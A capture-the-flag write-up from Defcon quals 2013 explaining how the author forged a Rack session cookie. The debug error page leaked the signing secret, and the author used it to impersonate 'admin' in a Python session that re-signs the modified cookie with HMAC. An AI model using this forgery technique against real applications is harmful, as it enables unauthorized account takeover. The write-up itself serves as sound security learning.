Defcon CTF quals 2013 : Hypeman writeup
Published on 17 June 2013
Upon getting to the web page, we are able to log in or create a user. Once logged in, it is possible to create a new secret message or show an existing one.
The first secret available is called key, and owned by admin. This must be the flag.
Clicking the link shows a Rack error message :
As the error message says, the session variable user_name must be equal to the secret owner (ie. admin) to actually display its content.
Upon login, the application sets a rather big Base-64 encoded cookie which contains all the session variables. Time to look at the Rack source code :
# lib/rack/session/cookie.rb
def set_session(env, session_id, session, options)
session = session.merge("session_id" => session_id)
session_data = coder.encode(session)
if @secrets.first
session_data << "--#{generate_hmac(session_data, @secrets.first)}"
end
if session_data.size > (4096 - @key.size)
env["rack.errors"].puts("Warning! Rack::Session::Cookie data size exceeds 4K.")
nil
else
session_data
end
end
[...]
def generate_hmac(data, secret)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret,data)
end
So the cookie contains all the session variables in a Marshaled object, which is then Base-64 encoded. A HMAC is then calculated with a secret key and appended to the session data to form the cookie.
Fortunately, the secret key is given in the Rack error message debug information :
rack.session.options =
{:path=>"/", :domain=>nil, :expire_after=>nil, :secure=>false,
:httponly=>true, :defer=>false, :renew=>false, :sidbits=>128,
:secure_random=>SecureRandom,
:secret=>"wroashsoxDiculReejLykUssyifabEdGhovHabno",
:coder=>#<Rack::Session::Cookie::Base64::Marshal:0x000000034e2228>}
What we now need is to create a cookie containing the right session value and recalculate the HMAC to get the flag. As I cannot decently use Ruby, I used Python to simply replace the username to admin :
>>> import hashlib, hmac
>>> # Cookie with username = 'aaaaa'
>>> data = """BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFZDY3Mjg0YmNlNjU2YmI4MTdiYTUy
NGIyNzMzN2ZmZTUxN2UyYmM1NzZhZjQxZjdkZWU3Mzk4ZWFkMDM1YWYxZEki
DXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItYTkyODdk
YzE1OWE0OWExODk2MTM3NGRhMjBmODVmY2FiOWRhOGFmNUkiGUhUVFBfQUND
RVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5
MjVhYmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItZGQw
NjVlZDI2M2M2N2Q3OTlmOTQzYWI2YzM5YjU1YzVlMDA4Y2JiNUkiCWNzcmYG
OwBGIkU1YWFjODA5NjY5OGExYWI0OWNkZDIwNWQ1ZjhiZWY1M2VkY2Y1MTRk
ZTc4MDg4NGRiYjIwMDcxZjFjYTc2YTA2SSIOdXNlcl9uYW1lBjsARkkiCmFh
YWFhBjsAVA==
"""
>>> b64 = data.decode('base64')
>>> b64 = b64.replace('aaaaa','admin')
>>> data = b64.encode('base64')
>>> secret = 'wroashsoxDiculReejLykUssyifabEdGhovHabno'
>>> sig = hmac.new(secret,data,hashlib.sha1).hexdigest()
>>> print data+'--'+sig
BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFZDY3Mjg0YmNlNjU2YmI4MTdiYTUyNGIyNzMzN2ZmZTUx
N2UyYmM1NzZhZjQxZjdkZWU3Mzk4ZWFkMDM1YWYxZEkiDXRyYWNraW5nBjsARnsISSIUSFRUUF9V
U0VSX0FHRU5UBjsARiItYTkyODdkYzE1OWE0OWExODk2MTM3NGRhMjBmODVmY2FiOWRhOGFmNUki
GUhUVFBfQUNDRVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5MjVh
YmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItZGQwNjVlZDI2M2M2N2Q3OTlm
OTQzYWI2YzM5YjU1YzVlMDA4Y2JiNUkiCWNzcmYGOwBGIkU1YWFjODA5NjY5OGExYWI0OWNkZDIw
NWQ1ZjhiZWY1M2VkY2Y1MTRkZTc4MDg4NGRiYjIwMDcxZjFjYTc2YTA2SSIOdXNlcl9uYW1lBjsA
RkkiCmFkbWluBjsAVA==
--c2233a144bbb1439bada6a43c91f726c3f56b6c0
Once replaced in the browser, the flag is displayed :